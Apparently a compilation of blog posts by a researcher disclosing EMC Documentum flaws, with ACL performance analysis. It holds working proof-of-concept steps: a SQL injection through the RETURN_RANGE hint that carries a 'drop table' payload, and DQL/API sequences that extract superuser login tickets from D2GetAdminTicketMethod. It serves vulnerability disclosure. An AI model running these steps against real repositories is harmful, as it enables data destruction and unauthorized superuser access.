Poor documentation or backdoor?

Four months ago I disclosed a vulnerability in Documentum 7.3/PostgreSQL, which allows attacker to execute arbitrary SQL statements, interesting thing here is vulnerability description is bit wrong, i.e. prerequisite “return_top_results_row_based config option is set to false” is not required:

Connected to Documentum Server running Release 7.3.0010.0013  Linux64.Postgres
Session id is s0
API> ?,c,select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_INVALID_POSITION]error:  
       "The ORDER BY position number 1;drop table dm_user_s;  
       is out of range of the number of items in the select list."


API> ?,c,select count(*) from dm_user ENABLE (OBJECT_BASED,RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_CURSOR_ERROR]error:  
       "A database error has occurred during the creation of a cursor 
       (' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s 
       because other objects depend on it; Error while executing the query')."

What is OBJECT_BASED hint?

JMS high availability feature. Part II

Why I did recall a feature, which I have never used before and will never use in the future? The explanation is following: In order to refresh my memory I was reading installation guide for Content Server 7.3 and noticed following statement:

Actually, documentation does not explain what does mean “methods requiring trusted authentication”, it seems that remote JMS supports workflow methods only, but from any perspective this statement sounds weird, the problem is on that moment I already discovered vulnerability in Content Server which allows attacker to download $DOCUMENTUM_SHARED/config/dfc.keystore file, this file is very interesting because it allows to connect to Content Server as superuser (note the value of server_trust_priv flag):

[dmadmin@docu72dev01 config]$ keytool -list -v -keystore dfc.keystore 
Enter keystore password:  

*****************  WARNING WARNING WARNING  *****************
* The integrity of the information stored in your keystore  *
* has NOT been verified!  In order to verify its integrity, *
* you must provide your keystore password.                  *
*****************  WARNING WARNING WARNING  *****************

Keystore type: JKS
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: dfc
Creation date: May 5, 2015
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a, O=EMC, OU=Documentum
Issuer: CN=dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a, O=EMC, OU=Documentum
Serial number: 4d23be10ce8e183732c451091e0e3dbf
Valid from: Tue May 05 16:03:10 MSK 2015 until: Fri May 02 16:08:10 MSK 2025
Certificate fingerprints:
         MD5:  8B:BD:5C:F6:18:9D:27:9F:28:A7:69:A4:45:AD:32:63
         SHA1: 37:CC:14:C7:3E:BA:8F:AF:CE:E8:E5:4E:D2:F5:01:AF:3E:B6:1D:3F
         SHA256: 88:FA:7A:04:F8:47:AE:88:AC:EB:D5:BE:28:80:A6:7E:21:51:34:86:A5:96:0E:FF:11:61:90:E9:EA:AC:B4:0C
         Signature algorithm name: SHA1withRSA
         Version: 1


*******************************************
*******************************************


API> retrieve,c,dm_client_rights where client_id='dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a'
...
08024be980000587
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : dfc_docu72dev01_3dXr0a
  title                           :
  subject                         :
  authors                       []: <none>
  keywords                      []: <none>
  resolution_label                :
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  log_entry                       :
  acl_domain                      : dmadmin
  acl_name                        : dm_45024be980000222
  language_code                   :
  client_id                       : dfc_zOkF5qKyACcQUjLJD2bt1y3dXr0a
  public_key_identifier           : 5F6CF69241D4745C01C943BAD1AFFB027398EF32
  host_name                       : docu72dev01
  allowed_roles                 []: <none>
  allow_all_roles                 : T
  allow_all_priv_modules          : F
  principal_auth_priv             : T
  server_trust_priv               : T
  app_name                        :
  is_globally_managed             : F

So, there is a kind of interesting situation: official software is unable to take advantage of trusted authentication, but attacker can 🙂

But on the last week EMC published another interesting support note – JMS high availability feature does not work:

To sell or not to sell…

It has been 11 months since I posted my last blogpost about vulnerabilities in Documentum stack, actually, I didn’t stop researching (it is interesting, and flatters my vanity) – I just stopped posting due to following two reasons:

  • There are “gifted” employees in EMC, this employees do think they are experts in bot security and Documentum and periodically (or day by day 🙂 ) read my blog and fecklessly try to understand what is written here and somehow remediate security flaws – such attempts are doomed to failure
  • Doing the same more officially, like file vulnerability reports to CERT/CC, brings a lot of headache – I consider vulnerability researching as a hobby, so, I have no interest to participate in such dumb activities – I tried and wasn’t satisfied with the results

Moreover, I have found that this activity improves neither product nor customer experience – D2 perfectly demonstrates this point. By the way, during last 11 months I discovered about 30 vulnerabilities in Documentum products and I periodically receive e-mails like:

Good Day, Andrey. My name is Roman, I found you contacts through seclists.org, where your HTTP session poisoning in EMC Documentum WDK-based applications causes arbitrary code execution and privilege elevation vulnerability was published.
I would like to offer you a collaboration that could be beneficial for both of us. I`m purchasing 0day exploits and vulnerabilities in software, big websites, routers. Would you be interested to sell it?
Looking forward to your reply.

Regards,
Roman.

What to do?

ACL performance

This blogpost is a follow-up for WTF??? blogpost, but describes the similar problem from Content Server perspective.

Two months ago one large company asked me to help them with performance issue, that time I had written two blogposts about how to diagnose performance issues in Documentum environment: Diagnostics challenge. Part I and Diagnostics challenge. Part II, but I did’t shed a light on what was the root cause. Interesting thing here is a fact that that time I was already familial with such performance problem in Documentum – we had filed a bug to EMC about four years ago but it is still not yet resolved: initially EMC was promising to resolve this performance problem in upcoming 7.x release, later they said something like “it requires a lot of effort – we are not going to fix it”.

Well, I’m not sure about all existing ECM solutions, but can definitely say about Documentum: Documentum (as a product) is not a ECM solution because it lacks concept of business roles (i.e. when business-users gets some capabilities according to the current context), and, hence, it is not suitable for enterprises. To prove my point let’s examine the most basic capability: certain user is able to read certain document. And the question is under what circumstances user gets read access to document? Actually, there are a plenty of reasons, some of them are:

  1. user is somehow involved in a business process related to this document, i.e. our user is an author, or reviewer, or addressee, or somebody else
  2. document was somehow classified and user gets access due to this classification, for example, members of legal department have access to all legal documents
  3. user is a legal successor of user from #1
  4. user is a secretary/assistant of user from #1
  5. user is a supervisor of user from #1
  6. user is a big boss and wants to see all documents in enterprise
  7. user is not a big boss, but wants to see all documents in branch office
  8. document somehow relates to another document, accessible by our user

I do not pretend that the list above is complete, but I do believe that it is common for all enterprises, and the problem is that Documentum (as a product) does not cover these cases – even combining #1 and #2 is already a challenge (check What is wrong in Documentum. Part III blogpost); #8 requires functionality of dynamic groups (check Dynamic groups. Advances. Part IV), which is not properly documented; for #3, #4 and #5 the best approach seems to be do not use direct grants to users, but instead create an associated group for each user – all these tricks require additional coding, however EMC thinks that companies do not buy their “product” because of costs of database licenses, but not because their “product” doesn’t fit customers’ needs. LOL 🙂

So, under such circumstances every customer/developer tends to invent own square wheel, and in most cases my job is to understand what was done and somehow improve that. The problem was following: customer’s application, every time when document was being saved to repository, was recalculating access permissions and was updating related acl as well – at first glance such implementation looks reasonable, but Content Server behaviour is extremely weird in such case: if you are saving acl which actually hasn’t been changed it takes extremely long time:

-- list of ACLs which contain more than 10000 accessors
API> ?,c,select r_object_id from dm_acl group by r_object_id 
     having count(r_accessor_name)>10000 enable(row_based)
r_object_id     
----------------
45024be98002b10c
45024be98002a74d
45024be98002a645
45024be98002a74c
(4 rows affected)

API> fetch,c,45024be98002a74d
...
OK

API> save,c,45024be98002a74d
... <--- 30 seconds 
OK

API> save,c,45024be98002a74d
... <--- double check: 30 seconds again
OK

--
-- now Content Server magic: we are adding
-- new record to acl
--
API> grant,c,45024be98002a74d,dm_read_all,AccessPermit,,6
...
OK

API> save,c,45024be98002a74d
... <--- less than a second
OK

Let’s investigate the difference between two cases (saving acl as is and adding new record).

First case:

[DM_SESSION_I_SESSION_START]info:  "Session 01024be98000c241 started for user dmadmin."


Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> apply,c,,SQL_TRACE,SESSION_ID,S,01024be98000c241,LEVEL,I,10
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  result                          : T

SYSTEM ATTRIBUTES


APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES


API> save,c,45024be98002a74d
...
OK
API> Bye
[dmadmin@docu72dev01 ord-dars]$ grep -i select \
> /u01/documentum/cs/dba/log/00024be9/dmadmin/01024be98000c241 | wc
  10800  173071 1811563

Second case:

[DM_SESSION_I_SESSION_START]info:  "Session 01024be98000c246 started for user dmadmin."


Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> apply,c,,SQL_TRACE,SESSION_ID,S,01024be98000c246,LEVEL,I,10
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...                                
USER ATTRIBUTES

  result                          : T

SYSTEM ATTRIBUTES


APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES


API> grant,c,45024be98002a74d,dm_browse_all,AccessPermit,,3
...
OK
API> save,c,45024be98002a74d
...
OK
API> Bye
[dmadmin@docu72dev01 ord-dars]$ grep -i select \
> /u01/documentum/cs/dba/log/00024be9/dmadmin/01024be98000c246 | wc
     28     719    9178

Wow, 10800 select statements in first case and just 28 select statements in second case! Looks like something is wrong, doesn’t it? Fortunately, four years ago I was dealing with another ACL performance issue and, in order to prove their wrong opinion, EMC had shared source code related to ACL processing, below is a code snippet which demonstrates wrong behaviour:

  // In order to validate the ACE's for this ACL, we will
  // find the first ACE that has been modified (r_accessor_name,
  // r_accessor_permit, r_accessor_xpermit, permit_type and
  // application_permit) and then validate all ACE's from that
  // entry to the end of the ACE list.
  int from = 0;
  if (changed[_pos._accessorName] > 0)
    from = changed[_pos._accessorName];
  if (changed[_pos._accessorPermit] > 0)
    from = min(from, changed[_pos._accessorPermit]);
  if (changed[_pos._accessorXPermit] > 0)
    from = min(from, changed[_pos._accessorXPermit]);
  if (changed[_pos._permitType] > 0)
    from = min(from, changed[_pos._permitType]);
  if (changed[_pos._applicationPermit] > 0)
    from = min(from, changed[_pos._applicationPermit]);

Do you see a mistake? Here it is:

  int from = 0;
  // from is always 0 if we haven't changed accessors
  if (changed[_pos._accessorName] > 0)
    from = changed[_pos._accessorName];

and the correct code is:

  int from = this->GetAttrValueCount(_pos._accessorName);
  if (changed[_pos._accessorName] > 0)
    from = changed[_pos._accessorName];

So, just one line to fix an issue.

Say goodbuy LockBox. Part II

Wow, interesting news came from where I didn’t expect: ECN guys states that EMC have stopped torturing customers and gave up the idea of using RSA Lockbox.

Here’s a little history of the Lockbox story that you might want to read:

November 2013

Reported to EMC using support portal, proof of concept how authenticated user was able to gain superuser privileges:

1> create c6_method_return object set message='test' 
2> go 
object_created 
-------------- 
00002ee280000e9b 
(1 row affected) 
1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d2 -password "" -method_return_id 00002ee280000e9b' 
3> go 
... 
(1 row affected) 
1> select message from c6_method_return where r_object_id='00002ee280000e9b' 
2> go 
message 
-------------- 
DM_TICKET=T0..... 
(1 row affected)

January 2014

EMC released Document D2 v 4.2 and some patches for previous versions, no CVE announced. The EMC “solution” was to encrypt data passed through c6_method_return objects

February 2014

Discovered a reflection attack on D2GetAdminTicketMethod method:

1> create c6_method_return object set message='test' 
2> go 
object_created 
---------------- 
00002f0a8000291d 
(1 row affected) 
1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d242 -password "" -method_return_id 00002f0a8000291d 
3> -scope global -timeout 3600' 
4> go 
... 
(1 row affected) 
1> select message from c6_method_return where r_object_id='00002f0a8000291d' 
2> go 
--- 
--- now message contains encrypted data 
--- 
message 
---------------------------------------------------------------------------- 
AAAAEMm1Ypog8dNWsELGoge38HRKVIUnN4/vw4rmz8xJ7EcZuOaQ8rT6vAktbc8g5qV07pme7nt2 
hG4D+ljeR2G5JCystXA8JDDaxmM5xjNfwshe9YldFZBlSinYBvFdigpuZCmTFES+n1b5ZbVC/L7b 
aZ7UI1LI06YhJvRcVjB9mzwMENk8H7KaxDXiFBCEQSiNNn5DoXwjZPWLJd9WTdXIlXpPzWAR2KG+ 
... 
(1 row affected)
1> update c6_method_return object 
2> set parameter_name[0]='-timeout', 
3> set parameter_value[0]=(select message from c6_method_return 
4> where r_object_id='00002f0a8000291d') 
5> where r_object_id='00002f0a8000291d' 
6> go 
objects_updated 
--------------- 
1 
(1 row affected) 
[DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." 

1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d242 -password "" -method_return_id 00002f0a8000291d 
3> -scope global' 
4> go 
... 
(1 row affected) 

1> select error from c6_method_return where r_object_id='00002f0a8000291d' 
2> go 
--- 
--- Here NumberFormatException occurs and unencrypted ticked is written 
--- to error field of c6_method_return object 
--- 
error 
---------------------------------------------------------------------------- 
For input string: "DM_TICKET=T0JKIE5VTEwgMAoxMwp2ZXJzaW9uIElOVCBTIDAKMwpmbGFncyBJTlQ 
(1 row affected)

March 2014

EMC released P01 patch for EMC Documentum D2 v4.2, no CVE announced. The vendor “solution” was not to store exception messages into “error” attribute of c6_method_return object if exception message contains “DM_TICKET” character sequence.

April 2014

Discovered another reflection attack based on verbose logging of D2GetAdminTicketMethod:

API> create,c,c6_method_return 
... 
000224838000011f 
API> save,c,l 
... 
OK 
API> apply,c,,DO_METHOD,METHOD,S,D2GetAdminTicketMethod, 
ARGUMENTS,S,' 
-docbase_name d2 
-password "" 
-method_return_id 000224838000011f 
-scope global 
-timeout 3600 
' 
... 
q0 
API> next,c,q0 
... 
OK 
API> dump,c,q0 
... 
USER ATTRIBUTES 

result : 0 
process_id : 0 
launch_failed : F 
method_return_val : 0 
os_system_error : No Error 
timed_out : F 
time_out_length : 100 
app_server_host_name : test 
app_server_port : 9080 
app_server_uri : /DmMethods/servlet/DoMethod 
error_message : 

SYSTEM ATTRIBUTES 


APPLICATION ATTRIBUTES 


INTERNAL ATTRIBUTES 


API> close,c,q0 
... 
OK 
API> revert,c,000224838000011f 
... 
OK 
API> get,c,000224838000011f,message 
... 
AAAAEFRN36mfm+NAm49DQAZol1fSBbIgoELusFMnk4eE6r3qNPm/83NDxqiFyoe7Yt/GOjASn6v2 
v2XjSaJq5MqGK8PgrNPbNz5KSAzxcKTWorJym/7ceZsp9l5pSUcDr1mj8xKg0M/iH8AIS8ZGZ9/L 
2bd1FOth86ISN2OnAIOAlzh32I0/YcLYt7nSSfFWDL9H9qzzkp6Za/NeZt4Z0kE1gYNPaVrlPD4D 
qC4bcSb3p54VeAZCVOgpUp3sJ+8kevoRQSKckOTSinBYF4qQa9pnNYQx8wczFk2/pM0pkCdDigyT 
... 

API> ?,c,update c6_method_return object 
set parameter_name[0]='-timeout', 
set parameter_value[0]=(select message from c6_method_return 
where r_object_id='000224838000011f') 
where r_object_id='000224838000011f' 
objects_updated 
--------------- 
1 
(1 row affected) 
[DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." 

--- 
--- Here we put extra parameter "SAVE_RESULTS,B,T" to save execution results 
--- of D2GetAdminTicketMethod docbase method 
--- 
API> apply,c,,DO_METHOD,METHOD,S,D2GetAdminTicketMethod, 
ARGUMENTS,S,' 
-docbase_name d2 
-password "" 
-method_return_id 000224838000011f 
-scope global -timeout 3600 
', 
SAVE_RESULTS,B,T 
... 
q0 
API> next,c,q0 
... 
OK 
API> dump,c,q0 
... 
USER ATTRIBUTES 

result : 0902248380002a67 
result_doc_id : 0902248380002a67 
process_id : 0 
launch_failed : F 
method_return_val : 0 
os_system_error : No Error 
timed_out : F 
time_out_length : 100 
app_server_host_name : test 
app_server_port : 9080 
app_server_uri : /DmMethods/servlet/DoMethod 
error_message : 

SYSTEM ATTRIBUTES 


APPLICATION ATTRIBUTES 


INTERNAL ATTRIBUTES 


API> close,c,q0 
... 
OK 
--- 
--- Now message contains encrypted data and error is empty 
--- 
API> get,c,000224838000011f,message 
... 
AAAAEBBMjU2FE27RAOiKSkZdJZM7tl1ht+LhqjvPsmr9DPg3nVgGFyROrETPX6Wy8uuEWbtKSWs3 
MNr8qe3EBNTejbieKZ2YzzUY/46fLdbOQFInczwrNCBoWF9zBnTlhoHK1f+ctpm9nUsK2wJbDZXb 
mk6+1VO5RsUEuFV/qux5LBdXpIr7dRornpDJiBP5hoPILObq4++KvBfhZjaPxEnoOMksfwgmU8XC 
... 
--- 
--- But execution results do contain unencrypted ticket 
--- 
API> get,c,000224838000011f,error 
... 

API> getpath,c,0902248380002a67 
... 
/u01/documentum/cs/data/d2/content_storage_01/00022483/80/00/09/e1.txt 
API> quit 
Bye 
~]$ cat content_storage_01/00022483/80/00/09/e1.txt 
==== START ======================================================= 
D2-API v4.2.0010 build 378 
DFC version : 7.1.0020.0120 
file.encoding : UTF-8 
Arguments : {-docbase_name=d2, 
-method_return_id=000224838000011f, 
-password=, 
-class_name=com.emc.d2.api.methods.D2GetAdminTicketMethod, 
-scope=global, 
-timeout=DM_TICKET=T0JKIE5VTEwgMAoxMwp.... 
} 
-Scope : global 
-TimeOut : 3600 
-SingleUse : true 
==== END (0.095s) ================================================

August 2014

EMC announced CVE-2014-2515, the solution was intended to mitigate previously described reflection attacks

August 2014

Discovered another set of vulnerabilities in implementation of “protection” of D2GetAdminTicketMethod method. The basic idea was: attacker was able to delete any file from CS filesystem, and in case of deletion of Lockbox file D2 started to use default passphrase (i.e. com.emc.d2.api.utils.GetCryptedPassword)

August 2014

EMC announced CVE-2015-4537

February 2015

I got tired and proved that RSA Lockbox is not a security solution: RSA LOCKBOX MAGIC 🙂.

Check and mate.

DBK and LTK structure

Not sure about terminology, but it seems that what is stored in dm_docbase_config.i_crypto_key is a DBK, and what is stored in dm_docbase_config.i_ticket_crypto_key is a LTK:

[dmadmin@docu72dev01 bin]$ strings -a documentum | grep _KEY_CLASS
DM_DBK_KEY_CLASS
DM_LTK_KEY_CLASS
DM_FSK_KEY_CLASS
DM_PPK_KEY_CLASS
...

3DES:

AES:

The next challenges are:

  • Install TCS option and understand storage key structure
  • Create offline tool generating login tickets

AEK and DBK parsers are already done: https://github.com/andreybpanfilov/prodctm/tree/master/prodctm-util/src/main/java/pro/documentum/util/crypto